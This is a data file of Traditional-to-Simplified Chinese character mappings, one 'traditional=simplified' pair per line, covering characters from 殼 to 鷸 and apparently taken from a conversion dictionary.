\n殼=壳\n毀=毁\n毆=殴\n毿=毵\n氂=牦\n氈=毡\n氌=氇\n氣=气\n氫=氢\n氬=氩\n氳=氲\n汙=污\n決=决\n沒=没\n沖=冲\n況=况\n泝=溯\n洩=泄\n洶=汹\n浹=浃\n涇=泾\n涼=凉\n淒=凄\n淚=泪\n淥=渌\n淨=净\n淩=凌\n淪=沦\n淵=渊\n淶=涞\n淺=浅\n渙=涣\n減=减\n渦=涡\n測=测\n渾=浑\n湊=凑\n湞=浈\n湧=涌\n湯=汤\n溈=沩\n準=准\n溝=沟\n溫=温\n滄=沧\n滅=灭\n滌=涤\n滎=荥\n滙=汇\n滬=沪\n滯=滞\n滲=渗\n滷=卤\n滸=浒\n滻=浐\n滾=滚\n滿=满\n漁=渔\n漚=沤\n漢=汉\n漣=涟\n漬=渍\n漲=涨\n漵=溆\n漸=渐\n漿=浆\n潁=颍\n潑=泼\n潔=洁\n潙=沩\n潛=潜\n潤=润\n潯=浔\n潰=溃\n潷=滗\n潿=涠\n澀=涩\n澆=浇\n澇=涝\n澐=沄\n澗=涧\n澠=渑\n澤=泽\n澦=滪\n澩=泶\n澮=浍\n澱=淀\n澾=㳠\n濁=浊\n濃=浓\n濕=湿\n濘=泞\n濟=济\n濤=涛\n濫=滥\n濰=潍\n濱=滨\n濺=溅\n濼=泺\n濾=滤\n瀅=滢\n瀆=渎\n瀇=㲿\n瀉=泻\n瀋=沈\n瀏=浏\n瀕=濒\n瀘=泸\n瀝=沥\n瀟=潇\n瀠=潆\n瀦=潴\n瀧=泷\n瀨=濑\n瀰=弥\n瀲=潋\n瀾=澜\n灃=沣\n灄=滠\n灑=洒\n灕=漓\n灘=滩\n灝=灏\n灠=漤\n灣=湾\n灤=滦\n灧=滟\n災=灾\n為=为\n烏=乌\n烴=烃\n無=无\n煉=炼\n煒=炜\n煙=烟\n煢=茕\n煥=焕\n煩=烦\n煬=炀\n煱=㶽\n熅=煴\n熒=荧\n熗=炝\n熱=热\n熲=颎\n熾=炽\n燁=烨\n燈=灯\n燉=炖\n燒=烧\n燙=烫\n燜=焖\n營=营\n燦=灿\n燬=毁\n燭=烛\n燴=烩\n燶=㶶\n燼=烬\n燾=焘\n爍=烁\n爐=炉\n爛=烂\n爭=争\n爲=为\n爺=爷\n爾=尔\n牆=墙\n牘=牍\n牽=牵\n犖=荦\n犢=犊\n犧=牺\n狀=状\n狹=狭\n狽=狈\n猙=狰\n猶=犹\n猻=狲\n獁=犸\n獃=呆\n獄=狱\n獅=狮\n獎=奖\n獨=独\n獪=狯\n獫=猃\n獮=狝\n獰=狞\n獱=㺍\n獲=获\n獵=猎\n獷=犷\n獸=兽\n獺=獭\n獻=献\n獼=猕\n玀=猡\n現=现\n琺=珐\n琿=珲\n瑋=玮\n瑒=玚\n瑣=琐\n瑤=瑶\n瑩=莹\n瑪=玛\n瑲=玱\n璉=琏\n璣=玑\n璦=瑷\n璫=珰\n環=环\n璽=玺\n瓊=琼\n瓏=珑\n瓔=璎\n瓚=瓒\n甌=瓯\n甕=瓮\n產=产\n産=产\n甦=苏\n畝=亩\n畢=毕\n畫=画\n異=异\n畵=画\n當=当\n疇=畴\n疊=叠\n痙=痉\n痠=酸\n痾=疴\n瘂=痖\n瘋=疯\n瘍=疡\n瘓=痪\n瘞=瘗\n瘡=疮\n瘧=疟\n瘮=瘆\n瘲=疭\n瘺=瘘\n瘻=瘘\n療=疗\n癆=痨\n癇=痫\n癉=瘅\n癒=愈\n癘=疠\n癟=瘪\n癡=痴\n癢=痒\n癤=疖\n癥=症\n癧=疬\n癩=癞\n癬=癣\n癭=瘿\n癮=瘾\n癰=痈\n癱=瘫\n癲=癫\n發=发\n皚=皑\n皰=疱\n皸=皲\n皺=皱\n盃=杯\n盜=盗\n盞=盏\n盡=尽\n監=监\n盤=盘\n盧=卢\n盪=荡\n眥=眦\n眾=众\n睏=困\n睜=睁\n睞=睐\n瞘=眍\n瞜=䁖\n瞞=瞒\n瞭=了\n瞶=瞆\n瞼=睑\n矇=蒙\n矓=眬\n矚=瞩\n矯=矫\n硃=朱\n硜=硁\n硤=硖\n硨=砗\n硯=砚\n碕=埼\n碩=硕\n碭=砀\n碸=砜\n確=确\n碼=码\n磑=硙\n磚=砖\n磣=碜\n磧=碛\n磯=矶\n磽=硗\n礆=硷\n礎=础\n礙=碍\n礦=矿\n礪=砺\n礫=砾\n礬=矾\n礱=砻\n祘=算\n祿=禄\n禍=祸\n禎=祯\n禕=祎\n禡=祃\n禦=御\n禪=禅\n禮=礼\n禰=祢\n禱=祷\n禿=秃\n秈=籼\n稅=税\n稈=秆\n稏=䅉\n稜=棱\n稟=禀\n種=种\n稱=称\n穀=谷\n穌=稣\n積=积\n穎=颖\n穠=秾\n穡=穑\n穢=秽\n穩=稳\n穫=获\n穭=稆\n窩=窝\n窪=洼\n窮=穷\n窯=窑\n窵=窎\n窶=窭\n窺=窥\n竄=窜\n竅=窍\n竇=窦\n竈=灶\n竊=窃\n竪=竖\n競=竞\n筆=笔\n筍=笋\n筧=笕\n筴=䇲\n箇=个\n箋=笺\n箏=筝\n節=节\n範=范\n築=筑\n篋=箧\n篔=筼\n篤=笃\n篩=筛\n篳=筚\n簀=箦\n簍=篓\n簑=蓑\n簞=箪\n簡=简\n簣=篑\n簫=箫\n簹=筜\n簽=签\n簾=帘\n籃=篮\n籌=筹\n籙=箓\n籜=箨\n籟=籁\n籠=笼\n籤=签\n籩=笾\n籪=簖\n籬=篱\n籮=箩\n籲=吁\n粵=粤\n糝=糁\n糞=粪\n糧=粮\n糰=团\n糲=粝\n糴=籴\n糶=粜\n糹=纟\n糾=纠\n紀=纪\n紂=纣\n約=约\n紅=红\n紆=纡\n紇=纥\n紈=纨\n紉=纫\n紋=纹\n納=纳\n紐=纽\n紓=纾\n純=纯\n紕=纰\n紖=纼\n紗=纱\n紘=纮\n紙=纸\n級=级\n紛=纷\n紜=纭\n紝=纴\n紡=纺\n紬=䌷\n紮=扎\n細=细\n紱=绂\n紲=绁\n紳=绅\n紵=纻\n紹=绍\n紺=绀\n紼=绋\n紿=绐\n絀=绌\n終=终\n組=组\n絅=䌹\n絆=绊\n絎=绗\n結=结\n絕=绝\n絛=绦\n絝=绔\n絞=绞\n絡=络\n絢=绚\n給=给\n絨=绒\n絰=绖\n統=统\n絲=丝\n絳=绛\n絶=绝\n絹=绢\n綁=绑\n綃=绡\n綆=绠\n綈=绨\n綉=绣\n綌=绤\n綏=绥\n綐=䌼\n經=经\n綜=综\n綞=缍\n綠=绿\n綢=绸\n綣=绻\n綫=线\n綬=绶\n維=维\n綯=绹\n綰=绾\n綱=纲\n網=网\n綳=绷\n綴=缀\n綵=彩\n綸=纶\n綹=绺\n綺=绮\n綻=绽\n綽=绰\n綾=绫\n綿=绵\n緄=绲\n緇=缁\n緊=紧\n緋=绯\n緑=绿\n緒=绪\n緓=绬\n緔=绱\n緗=缃\n緘=缄\n緙=缂\n線=线\n緝=缉\n緞=缎\n締=缔\n緡=缗\n緣=缘\n緦=缌\n編=编\n緩=缓\n緬=缅\n緯=纬\n緱=缑\n緲=缈\n練=练\n緶=缏\n緹=缇\n緻=致\n縈=萦\n縉=缙\n縊=缢\n縋=缒\n縐=绉\n縑=缣\n縕=缊\n縗=缞\n縛=缚\n縝=缜\n縞=缟\n縟=缛\n縣=县\n縧=绦\n縫=缝\n縭=缡\n縮=缩\n縱=纵\n縲=缧\n縳=䌸\n縴=纤\n縵=缦\n縶=絷\n縷=缕\n縹=缥\n總=总\n績=绩\n繃=绷\n繅=缫\n繆=缪\n繐=穗\n繒=缯\n織=织\n繕=缮\n繚=缭\n繞=绕\n繡=绣\n繢=缋\n繩=绳\n繪=绘\n繫=系\n繭=茧\n繮=缰\n繯=缳\n繰=缲\n繳=缴\n繸=䍁\n繹=绎\n繼=继\n繽=缤\n繾=缱\n繿=䍀\n纈=缬\n纊=纩\n續=续\n纍=累\n纏=缠\n纓=缨\n纔=才\n纖=纤\n纘=缵\n纜=缆\n缽=钵\n罈=坛\n罌=罂\n罎=坛\n罰=罚\n罵=骂\n罷=罢\n羅=罗\n羆=罴\n羈=羁\n羋=芈\n羥=羟\n義=义\n習=习\n翹=翘\n耬=耧\n耮=耢\n聖=圣\n聞=闻\n聯=联\n聰=聪\n聲=声\n聳=耸\n聵=聩\n聶=聂\n職=职\n聹=聍\n聽=听\n聾=聋\n肅=肃\n脅=胁\n脈=脉\n脛=胫\n脣=唇\n脫=脱\n脹=胀\n腎=肾\n腖=胨\n腡=脶\n腦=脑\n腫=肿\n腳=脚\n腸=肠\n膃=腽\n膚=肤\n膠=胶\n膩=腻\n膽=胆\n膾=脍\n膿=脓\n臉=脸\n臍=脐\n臏=膑\n臘=腊\n臚=胪\n臟=脏\n臠=脔\n臢=臜\n臥=卧\n臨=临\n臺=台\n與=与\n興=兴\n舉=举\n舊=旧\n艙=舱\n艤=舣\n艦=舰\n艫=舻\n艱=艰\n艷=艳\n芻=刍\n苧=苎\n茲=兹\n荊=荆\n莊=庄\n莖=茎\n莢=荚\n莧=苋\n華=华\n菴=庵\n萇=苌\n萊=莱\n萬=万\n萵=莴\n葉=叶\n葒=荭\n葤=荮\n葦=苇\n葯=药\n葷=荤\n蒓=莼\n蒔=莳\n蒞=莅\n蒼=苍\n蓀=荪\n蓋=盖\n蓮=莲\n蓯=苁\n蓴=莼\n蓽=荜\n蔔=卜\n蔘=参\n蔞=蒌\n蔣=蒋\n蔥=葱\n蔦=茑\n蔭=荫\n蕁=荨\n蕆=蒇\n蕎=荞\n蕒=荬\n蕓=芸\n蕕=莸\n蕘=荛\n蕢=蒉\n蕩=荡\n蕪=芜\n蕭=萧\n蕷=蓣\n薀=蕰\n薈=荟\n薊=蓟\n薌=芗\n薑=姜\n薔=蔷\n薘=荙\n薟=莶\n薦=荐\n薩=萨\n薳=䓕\n薴=苧\n薺=荠\n藍=蓝\n藎=荩\n藝=艺\n藥=药\n藪=薮\n藴=蕴\n藶=苈\n藹=蔼\n藺=蔺\n蘄=蕲\n蘆=芦\n蘇=苏\n蘊=蕴\n蘋=苹\n蘚=藓\n蘞=蔹\n蘢=茏\n蘭=兰\n蘺=蓠\n蘿=萝\n虆=蔂\n處=处\n虛=虚\n虜=虏\n號=号\n虧=亏\n虯=虬\n蛺=蛱\n蛻=蜕\n蜆=蚬\n蝕=蚀\n蝟=猬\n蝦=虾\n蝸=蜗\n螄=蛳\n螞=蚂\n螢=萤\n螮=䗖\n螻=蝼\n螿=螀\n蟄=蛰\n蟈=蝈\n蟎=螨\n蟣=虮\n蟬=蝉\n蟯=蛲\n蟲=虫\n蟶=蛏\n蟻=蚁\n蠅=蝇\n蠆=虿\n蠍=蝎\n蠐=蛴\n蠑=蝾\n蠟=蜡\n蠣=蛎\n蠨=蟏\n蠱=蛊\n蠶=蚕\n蠻=蛮\n衆=众\n衊=蔑\n術=术\n衕=同\n衚=胡\n衛=卫\n衝=冲\n衹=只\n袞=衮\n裊=袅\n裏=里\n補=补\n裝=装\n裡=里\n製=制\n複=复\n褌=裈\n褘=袆\n褲=裤\n褳=裢\n褸=褛\n褻=亵\n襆=幞\n襇=裥\n襏=袯\n襖=袄\n襝=裣\n襠=裆\n襤=褴\n襪=袜\n襬=䙓\n襯=衬\n襲=袭\n見=见\n覎=觃\n規=规\n覓=觅\n視=视\n覘=觇\n覡=觋\n覥=觍\n覦=觎\n親=亲\n覬=觊\n覯=觏\n覲=觐\n覷=觑\n覺=觉\n覽=览\n覿=觌\n觀=观\n觴=觞\n觶=觯\n觸=触\n訁=讠\n訂=订\n訃=讣\n計=计\n訊=讯\n訌=讧\n討=讨\n訐=讦\n訒=讱\n訓=训\n訕=讪\n訖=讫\n託=托\n記=记\n訛=讹\n訝=讶\n訟=讼\n訢=䜣\n訣=诀\n訥=讷\n訩=讻\n訪=访\n設=设\n許=许\n訴=诉\n訶=诃\n診=诊\n註=注\n詁=诂\n詆=诋\n詎=讵\n詐=诈\n詒=诒\n詔=诏\n評=评\n詖=诐\n詗=诇\n詘=诎\n詛=诅\n詞=词\n詠=咏\n詡=诩\n詢=询\n詣=诣\n試=试\n詩=诗\n詫=诧\n詬=诟\n詭=诡\n詮=诠\n詰=诘\n話=话\n該=该\n詳=详\n詵=诜\n詼=诙\n詿=诖\n誄=诔\n誅=诛\n誆=诓\n誇=夸\n誌=志\n認=认\n誑=诳\n誒=诶\n誕=诞\n誘=诱\n誚=诮\n語=语\n誠=诚\n誡=诫\n誣=诬\n誤=误\n誥=诰\n誦=诵\n誨=诲\n說=说\n説=说\n誰=谁\n課=课\n誶=谇\n誹=诽\n誼=谊\n誾=訚\n調=调\n諂=谄\n諄=谆\n談=谈\n諉=诿\n請=请\n諍=诤\n諏=诹\n諑=诼\n諒=谅\n論=论\n諗=谂\n諛=谀\n諜=谍\n諝=谞\n諞=谝\n諢=诨\n諤=谔\n諦=谛\n諧=谐\n諫=谏\n諭=谕\n諮=咨\n諱=讳\n諳=谙\n諶=谌\n諷=讽\n諸=诸\n諺=谚\n諼=谖\n諾=诺\n謀=谋\n謁=谒\n謂=谓\n謄=誊\n謅=诌\n謊=谎\n謎=谜\n謐=谧\n謔=谑\n謖=谡\n謗=谤\n謙=谦\n謚=谥\n講=讲\n謝=谢\n謠=谣\n謡=谣\n謨=谟\n謫=谪\n謬=谬\n謭=谫\n謳=讴\n謹=谨\n謾=谩\n譅=䜧\n證=证\n譎=谲\n譏=讥\n譖=谮\n識=识\n譙=谯\n譚=谭\n譜=谱\n譫=谵\n譭=毁\n譯=译\n議=议\n譴=谴\n護=护\n譸=诪\n譽=誉\n譾=谫\n讀=读\n變=变\n讎=仇\n讒=谗\n讓=让\n讕=谰\n讖=谶\n讚=赞\n讜=谠\n讞=谳\n豈=岂\n豎=竖\n豐=丰\n豔=艳\n豬=猪\n豶=豮\n貓=猫\n貙=䝙\n貝=贝\n貞=贞\n貟=贠\n負=负\n財=财\n貢=贡\n貧=贫\n貨=货\n販=贩\n貪=贪\n貫=贯\n責=责\n貯=贮\n貰=贳\n貲=赀\n貳=贰\n貴=贵\n貶=贬\n買=买\n貸=贷\n貺=贶\n費=费\n貼=贴\n貽=贻\n貿=贸\n賀=贺\n賁=贲\n賂=赂\n賃=赁\n賄=贿\n賅=赅\n資=资\n賈=贾\n賊=贼\n賑=赈\n賒=赊\n賓=宾\n賕=赇\n賙=赒\n賚=赉\n賜=赐\n賞=赏\n賠=赔\n賡=赓\n賢=贤\n賣=卖\n賤=贱\n賦=赋\n賧=赕\n質=质\n賫=赍\n賬=账\n賭=赌\n賰=䞐\n賴=赖\n賵=赗\n賺=赚\n賻=赙\n購=购\n賽=赛\n賾=赜\n贄=贽\n贅=赘\n贇=赟\n贈=赠\n贊=赞\n贋=赝\n贍=赡\n贏=赢\n贐=赆\n贓=赃\n贔=赑\n贖=赎\n贗=赝\n贛=赣\n贜=赃\n赬=赪\n趕=赶\n趙=赵\n趨=趋\n趲=趱\n跡=迹\n踐=践\n踴=踊\n蹌=跄\n蹕=跸\n蹣=蹒\n蹤=踪\n蹺=跷\n躂=跶\n躉=趸\n躊=踌\n躋=跻\n躍=跃\n躑=踯\n躒=跞\n躓=踬\n躕=蹰\n躚=跹\n躡=蹑\n躥=蹿\n躦=躜\n躪=躏\n軀=躯\n車=车\n軋=轧\n軌=轨\n軍=军\n軑=轪\n軒=轩\n軔=轫\n軛=轭\n軟=软\n軤=轷\n軫=轸\n軲=轱\n軸=轴\n軹=轵\n軺=轺\n軻=轲\n軼=轶\n軾=轼\n較=较\n輅=辂\n輇=辁\n輈=辀\n載=载\n輊=轾\n輒=辄\n輓=挽\n輔=辅\n輕=轻\n輛=辆\n輜=辎\n輝=辉\n輞=辋\n輟=辍\n輥=辊\n輦=辇\n輩=辈\n輪=轮\n輬=辌\n輯=辑\n輳=辏\n輸=输\n輻=辐\n輾=辗\n輿=舆\n轀=辒\n轂=毂\n轄=辖\n轅=辕\n轆=辘\n轉=转\n轍=辙\n轎=轿\n轔=辚\n轟=轰\n轡=辔\n轢=轹\n轤=轳\n辦=办\n辭=辞\n辮=辫\n辯=辩\n農=农\n迴=回\n逕=迳\n這=这\n連=连\n週=周\n進=进\n遊=游\n運=运\n過=过\n達=达\n違=违\n遙=遥\n遜=逊\n遞=递\n遠=远\n遡=溯\n適=适\n遲=迟\n遷=迁\n選=选\n遺=遗\n遼=辽\n邁=迈\n還=还\n邇=迩\n邊=边\n邏=逻\n邐=逦\n郟=郏\n郵=邮\n鄆=郓\n鄉=乡\n鄒=邹\n鄔=邬\n鄖=郧\n鄧=邓\n鄭=郑\n鄰=邻\n鄲=郸\n鄴=邺\n鄶=郐\n鄺=邝\n酇=酂\n酈=郦\n醖=酝\n醜=丑\n醞=酝\n醣=糖\n醫=医\n醬=酱\n醯=酰\n醱=酦\n釀=酿\n釁=衅\n釃=酾\n釅=酽\n釋=释\n釐=厘\n釒=钅\n釓=钆\n釔=钇\n釕=钌\n釗=钊\n釘=钉\n釙=钋\n針=针\n釣=钓\n釤=钐\n釧=钏\n釩=钒\n釳=𨰿\n釵=钗\n釷=钍\n釹=钕\n釺=钎\n釾=䥺\n鈀=钯\n鈁=钫\n鈃=钘\n鈄=钭\n鈈=钚\n鈉=钠\n鈋=𨱂\n鈍=钝\n鈎=钩\n鈐=钤\n鈑=钣\n鈒=钑\n鈔=钞\n鈕=钮\n鈞=钧\n鈠=𨱁\n鈣=钙\n鈥=钬\n鈦=钛\n鈧=钪\n鈮=铌\n鈯=𨱄\n鈰=铈\n鈲=𨱃\n鈳=钶\n鈴=铃\n鈷=钴\n鈸=钹\n鈹=铍\n鈺=钰\n鈽=钸\n鈾=铀\n鈿=钿\n鉀=钾\n鉁=𨱅\n鉅=钜\n鉈=铊\n鉉=铉\n鉋=铇\n鉍=铋\n鉑=铂\n鉕=钷\n鉗=钳\n鉚=铆\n鉛=铅\n鉞=钺\n鉢=钵\n鉤=钩\n鉦=钲\n鉬=钼\n鉭=钽\n鉶=铏\n鉸=铰\n鉺=铒\n鉻=铬\n鉿=铪\n銀=银\n銃=铳\n銅=铜\n銍=铚\n銑=铣\n銓=铨\n銖=铢\n銘=铭\n銚=铫\n銛=铦\n銜=衔\n銠=铑\n銣=铷\n銥=铱\n銦=铟\n銨=铵\n銩=铥\n銪=铕\n銫=铯\n銬=铐\n銱=铞\n銳=锐\n銶=𨱇\n銷=销\n銹=锈\n銻=锑\n銼=锉\n鋁=铝\n鋃=锒\n鋅=锌\n鋇=钡\n鋉=𨱈\n鋌=铤\n鋏=铗\n鋒=锋\n鋙=铻\n鋝=锊\n鋟=锓\n鋣=铘\n鋤=锄\n鋥=锃\n鋦=锔\n鋨=锇\n鋩=铓\n鋪=铺\n鋭=锐\n鋮=铖\n鋯=锆\n鋰=锂\n鋱=铽\n鋶=锍\n鋸=锯\n鋼=钢\n錁=锞\n錂=𨱋\n錄=录\n錆=锖\n錇=锫\n錈=锩\n錏=铔\n錐=锥\n錒=锕\n錕=锟\n錘=锤\n錙=锱\n錚=铮\n錛=锛\n錟=锬\n錠=锭\n錡=锜\n錢=钱\n錦=锦\n錨=锚\n錩=锠\n錫=锡\n錮=锢\n錯=错\n録=录\n錳=锰\n錶=表\n錸=铼\n鍀=锝\n鍁=锨\n鍃=锪\n鍄=𨱉\n鍆=钔\n鍇=锴\n鍈=锳\n鍊=炼\n鍋=锅\n鍍=镀\n鍔=锷\n鍘=铡\n鍚=钖\n鍛=锻\n鍠=锽\n鍤=锸\n鍥=锲\n鍩=锘\n鍬=锹\n鍮=𨱎\n鍰=锾\n鍵=键\n鍶=锶\n鍺=锗\n鍾=钟\n鎂=镁\n鎄=锿\n鎇=镅\n鎊=镑\n鎌=镰\n鎔=镕\n鎖=锁\n鎘=镉\n鎚=锤\n鎛=镈\n鎝=𨱏\n鎡=镃\n鎢=钨\n鎣=蓥\n鎦=镏\n鎧=铠\n鎩=铩\n鎪=锼\n鎬=镐\n鎮=镇\n鎯=𨱍\n鎰=镒\n鎲=镋\n鎳=镍\n鎵=镓\n鎷=𨰾\n鎸=镌\n鎿=镎\n鏃=镞\n鏆=𨱌\n鏇=镟\n鏈=链\n鏉=𨱒\n鏌=镆\n鏍=镙\n鏐=镠\n鏑=镝\n鏗=铿\n鏘=锵\n鏚=戚\n鏜=镗\n鏝=镘\n鏞=镛\n鏟=铲\n鏡=镜\n鏢=镖\n鏤=镂\n鏨=錾\n鏰=镚\n鏵=铧\n鏷=镤\n鏹=镪\n鏺=䥽\n鏽=锈\n鐃=铙\n鐋=铴\n鐎=𨱓\n鐏=𨱔\n鐐=镣\n鐒=铹\n鐓=镦\n鐔=镡\n鐘=钟\n鐙=镫\n鐝=镢\n鐠=镨\n鐥=䦅\n鐦=锎\n鐧=锏\n鐨=镄\n鐫=镌\n鐮=镰\n鐯=䦃\n鐲=镯\n鐳=镭\n鐵=铁\n鐶=镮\n鐸=铎\n鐺=铛\n鐿=镱\n鑄=铸\n鑊=镬\n鑌=镔\n鑑=鉴\n鑒=鉴\n鑔=镲\n鑕=锧\n鑞=镴\n鑠=铄\n鑣=镳\n鑥=镥\n鑭=镧\n鑰=钥\n鑱=镵\n鑲=镶\n鑷=镊\n鑹=镩\n鑼=锣\n鑽=钻\n鑾=銮\n鑿=凿\n钁=镢\n镟=旋\n長=长\n門=门\n閂=闩\n閃=闪\n閆=闫\n閈=闬\n閉=闭\n開=开\n閌=闶\n閍=𨸂\n閎=闳\n閏=闰\n閐=𨸃\n閑=闲\n閒=闲\n間=间\n閔=闵\n閘=闸\n閡=阂\n閣=阁\n閤=合\n閥=阀\n閨=闺\n閩=闽\n閫=阃\n閬=阆\n閭=闾\n閱=阅\n閲=阅\n閶=阊\n閹=阉\n閻=阎\n閼=阏\n閽=阍\n閾=阈\n閿=阌\n闃=阒\n闆=板\n闈=闱\n闊=阔\n闋=阕\n闌=阑\n闍=阇\n闐=阗\n闒=阘\n闓=闿\n闔=阖\n闕=阙\n闖=闯\n關=关\n闞=阚\n闠=阓\n闡=阐\n闢=辟\n闤=阛\n闥=闼\n陘=陉\n陝=陕\n陞=升\n陣=阵\n陰=阴\n陳=陈\n陸=陆\n陽=阳\n隉=陧\n隊=队\n階=阶\n隕=陨\n際=际\n隨=随\n險=险\n隱=隐\n隴=陇\n隸=隶\n隻=只\n雋=隽\n雖=虽\n雙=双\n雛=雏\n雜=杂\n雞=鸡\n離=离\n難=难\n雲=云\n電=电\n霢=霡\n霧=雾\n霽=霁\n靂=雳\n靄=霭\n靈=灵\n靚=靓\n靜=静\n靦=腼\n靨=靥\n鞀=鼗\n鞏=巩\n鞝=绱\n鞦=秋\n鞽=鞒\n韁=缰\n韃=鞑\n韆=千\n韉=鞯\n韋=韦\n韌=韧\n韍=韨\n韓=韩\n韙=韪\n韜=韬\n韝=鞲\n韞=韫\n韻=韵\n響=响\n頁=页\n頂=顶\n頃=顷\n項=项\n順=顺\n頇=顸\n須=须\n頊=顼\n頌=颂\n頎=颀\n頏=颃\n預=预\n頑=顽\n頒=颁\n頓=顿\n頗=颇\n領=领\n頜=颌\n頡=颉\n頤=颐\n頦=颏\n頭=头\n頮=颒\n頰=颊\n頲=颋\n頴=颕\n頷=颔\n頸=颈\n頹=颓\n頻=频\n頽=颓\n顃=𩖖\n顆=颗\n題=题\n額=额\n顎=颚\n顏=颜\n顒=颙\n顓=颛\n顔=颜\n願=愿\n顙=颡\n顛=颠\n類=类\n顢=颟\n顥=颢\n顧=顾\n顫=颤\n顬=颥\n顯=显\n顰=颦\n顱=颅\n顳=颞\n顴=颧\n風=风\n颭=飐\n颮=飑\n颯=飒\n颰=𩙥\n颱=台\n颳=刮\n颶=飓\n颷=𩙪\n颸=飔\n颺=飏\n颻=飖\n颼=飕\n颾=𩙫\n飀=飗\n飄=飘\n飆=飙\n飈=飚\n飛=飞\n飠=饣\n飢=饥\n飣=饤\n飥=饦\n飩=饨\n飪=饪\n飫=饫\n飭=饬\n飯=饭\n飱=飧\n飲=饮\n飴=饴\n飼=饲\n飽=饱\n飾=饰\n飿=饳\n餃=饺\n餄=饸\n餅=饼\n餉=饷\n養=养\n餌=饵\n餎=饹\n餏=饻\n餑=饽\n餒=馁\n餓=饿\n餕=馂\n餖=饾\n餘=余\n餚=肴\n餛=馄\n餜=馃\n餞=饯\n餡=馅\n館=馆\n餱=糇\n餳=饧\n餵=喂\n餶=馉\n餷=馇\n餸=𩠌\n餺=馎\n餼=饩\n餾=馏\n餿=馊\n饁=馌\n饃=馍\n饅=馒\n饈=馐\n饉=馑\n饊=馓\n饋=馈\n饌=馔\n饑=饥\n饒=饶\n饗=飨\n饜=餍\n饞=馋\n饢=馕\n馬=马\n馭=驭\n馮=冯\n馱=驮\n馳=驰\n馴=驯\n馹=驲\n駁=驳\n駎=𩧨\n駐=驻\n駑=驽\n駒=驹\n駔=驵\n駕=驾\n駘=骀\n駙=驸\n駚=𩧫\n駛=驶\n駝=驼\n駟=驷\n駡=骂\n駢=骈\n駧=𩧲\n駩=𩧴\n駭=骇\n駰=骃\n駱=骆\n駶=𩧺\n駸=骎\n駿=骏\n騁=骋\n騂=骍\n騅=骓\n騌=骔\n騍=骒\n騎=骑\n騏=骐\n騔=𩨀\n騖=骛\n騙=骗\n騚=𩨊\n騝=𩨃\n騟=𩨈\n騤=骙\n騧=䯄\n騪=𩨄\n騫=骞\n騭=骘\n騮=骝\n騰=腾\n騶=驺\n騷=骚\n騸=骟\n騾=骡\n驀=蓦\n驁=骜\n驂=骖\n驃=骠\n驄=骢\n驅=驱\n驊=骅\n驋=𩧯\n驌=骕\n驍=骁\n驏=骣\n驕=骄\n驗=验\n驚=惊\n驛=驿\n驟=骤\n驢=驴\n驤=骧\n驥=骥\n驦=骦\n驪=骊\n驫=骉\n骯=肮\n髏=髅\n髒=脏\n體=体\n髕=髌\n髖=髋\n髮=发\n鬆=松\n鬍=胡\n鬚=须\n鬢=鬓\n鬥=斗\n鬧=闹\n鬨=哄\n鬩=阋\n鬮=阄\n鬱=郁\n魎=魉\n魘=魇\n魚=鱼\n魛=鱽\n魢=鱾\n魥=𩽹\n魨=鲀\n魯=鲁\n魴=鲂\n魷=鱿\n魺=鲄\n鮁=鲅\n鮃=鲆\n鮊=鲌\n鮋=鲉\n鮍=鲏\n鮎=鲇\n鮐=鲐\n鮑=鲍\n鮒=鲋\n鮓=鲊\n鮕=𩾀\n鮚=鲒\n鮜=鲘\n鮝=鲞\n鮞=鲕\n鮟=𩽾\n鮣=䲟\n鮦=鲖\n鮪=鲔\n鮫=鲛\n鮭=鲑\n鮮=鲜\n鮳=鲓\n鮶=鲪\n鮸=𩾃\n鮺=鲝\n鯀=鲧\n鯁=鲠\n鯄=𩾁\n鯇=鲩\n鯉=鲤\n鯊=鲨\n鯒=鲬\n鯔=鲻\n鯕=鲯\n鯖=鲭\n鯗=鲞\n鯛=鲷\n鯝=鲴\n鯡=鲱\n鯢=鲵\n鯤=鲲\n鯧=鲳\n鯨=鲸\n鯪=鲮\n鯫=鲰\n鯰=鲇\n鯱=𩾇\n鯴=鲺\n鯶=𩽼\n鯷=鳀\n鯽=鲫\n鯿=鳊\n鰁=鳈\n鰂=鲗\n鰃=鳂\n鰆=䲠\n鰈=鲽\n鰉=鳇\n鰌=䲡\n鰍=鳅\n鰏=鲾\n鰐=鳄\n鰒=鳆\n鰓=鳃\n鰜=鳒\n鰟=鳑\n鰠=鳋\n鰣=鲥\n鰥=鳏\n鰧=䲢\n鰨=鳎\n鰩=鳐\n鰭=鳍\n鰮=鳁\n鰱=鲢\n鰲=鳌\n鰳=鳓\n鰵=鳘\n鰷=鲦\n鰹=鲣\n鰺=鲹\n鰻=鳗\n鰼=鳛\n鰾=鳔\n鱂=鳉\n鱅=鳙\n鱇=𩾌\n鱈=鳕\n鱉=鳖\n鱒=鳟\n鱔=鳝\n鱖=鳜\n鱗=鳞\n鱘=鲟\n鱝=鲼\n鱟=鲎\n鱠=鲙\n鱣=鳣\n鱤=鳡\n鱧=鳢\n鱨=鲿\n鱭=鲚\n鱯=鳠\n鱷=鳄\n鱸=鲈\n鱺=鲡\n鳥=鸟\n鳧=凫\n鳩=鸠\n鳬=凫\n鳲=鸤\n鳳=凤\n鳴=鸣\n鳶=鸢\n鳼=𪉃\n鳾=䴓\n鴆=鸩\n鴇=鸨\n鴉=鸦\n鴒=鸰\n鴕=鸵\n鴛=鸳\n鴜=𪉈\n鴝=鸲\n鴞=鸮\n鴟=鸱\n鴣=鸪\n鴦=鸯\n鴨=鸭\n鴯=鸸\n鴰=鸹\n鴲=𪉆\n鴴=鸻\n鴷=䴕\n鴻=鸿\n鴿=鸽\n鵁=䴔\n鵂=鸺\n鵃=鸼\n鵐=鹀\n鵑=鹃\n鵒=鹆\n鵓=鹁\n鵚=𪉍\n鵜=鹈\n鵝=鹅\n鵠=鹄\n鵡=鹉\n鵪=鹌\n鵬=鹏\n鵮=鹐\n鵯=鹎\n鵰=雕\n鵲=鹊\n鵷=鹓\n鵾=鹍\n鶄=䴖\n鶇=鸫\n鶉=鹑\n鶊=鹒\n鶓=鹋\n鶖=鹙\n鶘=鹕\n鶚=鹗\n鶡=鹖\n鶥=鹛\n鶩=鹜\n鶪=䴗\n鶬=鸧\n鶯=莺\n鶲=鹟\n鶴=鹤\n鶹=鹠\n鶺=鹡\n鶻=鹘\n鶼=鹣\n鶿=鹚\n鷀=鹚\n鷁=鹢\n鷂=鹞\n鷄=鸡\n鷈=䴘\n鷊=鹝\n鷓=鹧\n鷔=𪉑\n鷖=鹥\n鷗=鸥\n鷙=鸷\n鷚=鹨\n鷥=鸶\n鷦=鹪\n鷨=𪉊\n鷫=鹔\n鷯=鹩\n鷲=鹫\n鷳=鹇\n鷸=鹬\n